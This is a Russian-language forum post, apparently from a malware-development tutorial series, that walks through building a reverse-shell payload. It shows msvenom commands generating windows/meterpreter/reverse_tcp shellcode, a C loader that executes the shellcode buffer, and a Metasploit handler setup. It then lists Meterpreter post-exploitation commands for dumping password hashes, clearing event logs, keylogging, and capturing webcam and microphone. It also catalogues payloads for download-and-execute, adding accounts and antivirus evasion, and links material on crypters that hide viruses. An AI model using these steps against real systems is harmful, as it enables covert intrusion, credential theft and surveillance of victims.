ВАЖНО Важная тема по созданию payload и shell code


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 142
Репутация
8 268
1696227945643.png


В цикле статей этого раздела:Введение в разработку вредоносных программ мы все озабочены как скрыть полезную нагрузку, как обойти антивирус и т.д.

Все говорят про какую-то полезную нагрузку, вредоносный код и т.д.

Но никто не сказал, что-это вообще такое, где эту нагрузку можно взять, как её генерировать и т.д.

Давайте попробуем разобраться, вероятно с этого и надо-было начать цикл статей.Dmeh-Smeh-Smeh!!!

Итак:

Что такое сшелл-код?

Сшелл-код (Он-же Payload) – это набор инструкций машинного кода, который может быть выполнен при внедрении в другой процесс. Он часто используется в эксплойтах для получения контроля над системой.

Как его создать, простой метод, для понимания:

Вот неплохая статья для понимания:Малварь как искусство - Генерация кода на си. Часть вторая. Исполняем код на лету

Это всё теория для большего понимания рекомендую ознакомится со статьей:Малварь как искусство - Фреймворк криптора/протектора на шелл-кодах x86/x64

В данной статье рассматривается криптор (Программа для скрытия вирусов), в которой в качестве шелл-кода используется загрузчик PE образов из памяти (LoadPe).
Также шифрует сам вирус и помещает его в секцию .data.

Но есть ещё способ генерации простеньких шелл-кодов:


Создание и использование шеллкода при помощи инструментов, таких как msvenom и Metasploit, довольно популярно среди исследователей безопасности и пентестеров. Давайте рассмотрим, как создать шеллкод и внедрить его в программу на языке С.

Шаг 1: Создание шеллкода с помощью msvenom

msvenom - это инструмент, входящий в состав Metasploit Framework, который позволяет создавать различные виды пейлоадов.

Большинство дистрибутивов Linux позволяют легко установить Metasploit. Пример установки на Kali Linux или Debian:
C:
sudo apt-get update
sudo apt-get install metasploit-framework

После установки и запуска msvenom, вы можете просмотреть доступные опции и параметры:

Код:
msvenom --help

Хотя Metasploit и разработан преимущественно для Linux, есть версия для Windows, но установка может быть менее тривиальной. Рекомендуется использовать виртуальную машину с Linux (например, Kali Linux) на вашем компьютере под Windows для работы с Metasploit.

Итак, допустим, вы хотите создать обратное TCP-соединение (reverse shell) от целевой машины к вашей машине. Вы можете сгенерировать шеллкод следующим образом:

C:
msvenom -p windows/meterpreter/reverse_tcp LHOST=ваш_ип LPORT=4444 -f c

Это создаст C-представление шеллкода, где LHOST - это IP-адрес вашей машины, а LPORT - порт, на который вы хотите, чтобы целевая машина подключилась.

Шаг 2: Внедрение шеллкода в программу на С

После создания шеллкода с помощью msvenom, вам будет предоставлен код на языке C, который вы можете скопировать и использовать в вашей программе:

C:
unsigned char buf[] =
"\x00\x00\x00..."; // здесь будет ваш шеллкод

int main(int argc, char **argv) {
    void (*func)();
    func = (void (*)()) buf;
    func();
    return 0;
}

Шаг 3: Ожидание обратного соединения

Запустите Metasploit и используйте подходящий exploit/multi/handler для прослушивания обратного соединения:

C:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ваш_ип
set LPORT 4444
run

Теперь, когда вы запустите свою программу на Си, она создаст обратное соединение к вашему Metasploit, и вы получите доступ к meterpreter на целевой машине.

После того как целевая машина подключится, вы увидите номер сессии. Вы можете взаимодействовать с этой сессией используя:
Код:
sessions -i номер_сессии

Например:
Код:
sessions -i 1

Теперь вы находитесь в Meterpreter и можете выполнять различные команды.

Meterpreter — это динамический и расширяемый инструмент, который предоставляется Metasploit и позволяет выполнять множество функций на компрометированной машине. Вот некоторые из действий, которые можно выполнять в сессии Meterpreter:
  1. Сбор информации:
    • sysinfo: Получение информации о системе, включая версию ОС, имя хоста и архитектуру.
    • getuid: Получение идентификатора текущего пользователя.
    • getpid: Получение ID текущего процесса.
    • ps: Просмотр списка запущенных процессов.
    • ipconfig: Получение информации о сетевых интерфейсах.
    • route: Просмотр таблицы маршрутизации.
  2. Управление файловой системой:
    • ls: Просмотр содержимого директории.
    • cd: Изменение текущей директории.
    • upload и download: Загрузка и скачивание файлов между вашей машиной и целевой системой.
    • cat: Чтение содержимого файла.
    • edit: Редактирование файла.
    • rm: Удаление файла.
  3. Управление процессами:
    • migrate PID: Перемещение Meterpreter в другой процесс (где PID — это ID процесса).
    • kill: Убийство процесса.
  4. Управление сетью:
    • portfwd: Настройка переадресации портов.
    • netstat: Просмотр активных сетевых соединений.
  5. Подключение к системе:
    • shell: Запуск командной оболочки на целевой системе.
    • execute: Запуск команды или программы на целевой системе.
  6. Привилегии:
    • getsystem: Попытка повысить привилегии до SYSTEM.
    • hashdump: Выгрузка хэшей паролей из системы.
    • clearev: Очистка журналов событий.
  7. Взаимодействие с экраном и вводом:
    • screenshot: Получение скриншота рабочего стола.
    • keyscan_start: Начало перехвата клавиатуры.
    • keyscan_dump: Выгрузка собранных данных перехвата клавиатуры.
    • keyscan_stop: Остановка перехвата клавиатуры.
  8. Управление аудио и видео:
    • webcam_list: Список доступных камер.
    • webcam_snap: Снимок с веб-камеры.
    • record_mic: Запись звука с микрофона.
  9. Управление токенами и сессиями:
    • use incognito: Загрузка расширения для управления токенами и выполнения действий от имени других пользователей.
    • list_tokens -u: Перечисление доступных токенов пользователей.
  10. Работа с расширениями:
    • load <extension_name>: Загрузка дополнительных модулей и расширений.
Это лишь краткий обзор возможностей Meterpreter. Помимо этого, есть множество других команд и расширений, которые позволяют выполнять конкретные действия на различных платформах и в различных сценариях.
Чтобы получить полный список доступных команд в Meterpreter, введите help в сессии Meterpreter.

Вот некоторые типы шеллкодов, которые можно создать с помощью msvenom:
  1. Обратные оболочки (Reverse Shells): Эти пейлоуды устанавливают соединение с атакующим и предоставляют ему оболочку на атакуемой машине. Пример: windows/meterpreter/reverse_tcp.
  2. Привязанные оболочки (Bind Shells): Эти пейлоуды слушают входящие соединения на целевой машине и предоставляют оболочку, когда атакующий подключается. Пример: windows/meterpreter/bind_tcp.
  3. Пейлоуды для создания учетных записей: Создают новую учетную запись на целевой системе. Пример: windows/adduser.
  4. Командные пейлоуды: Выполняют определенную команду на целевой системе. Пример: cmd/unix/reverse_python.
  5. Пейлоуды для скачивания и выполнения: Скачивают и выполняют файл с определенного URL. Пример: windows/download_exec.
  6. Пейлоуды для выключения или перезагрузки: Пример: windows/shutdown.
  7. Metsvc (Meterpreter Service): Создает постоянный сервис Meterpreter на целевой системе.
  8. Payloads для различных платформ: msvenom поддерживает множество платформ, включая Windows, Linux, macOS, Android, и другие.
  9. Инъекции в память: Пейлоуды, которые могут быть инжектированы непосредственно в память и выполнены без записи на диск.
  10. Пейлоуды для обхода антивирусов: Некоторые пейлоуды могут быть созданы так, чтобы обходить определенные антивирусные решения или их характеристики.
  11. И многие другие...
Чтобы получить полный список доступных пейлоудов в msvenom, вы можете выполнить:

Код:
msvenom --list payloads

Для создания конкретного шеллкода используйте команду в следующем формате:

Код:
msvenom -p [payload] [options]

Где [payload] - это имя выбранного пейлоуда, а [options] - это различные параметры, такие как IP-адрес, порт, формат вывода и другие параметры, зависящие от выбранного пейлоуда.

Таким образом, msvenom предоставляет гибкие инструменты для создания разнообразных шеллкодов в зависимости от ваших потребностей.
 
Верх Низ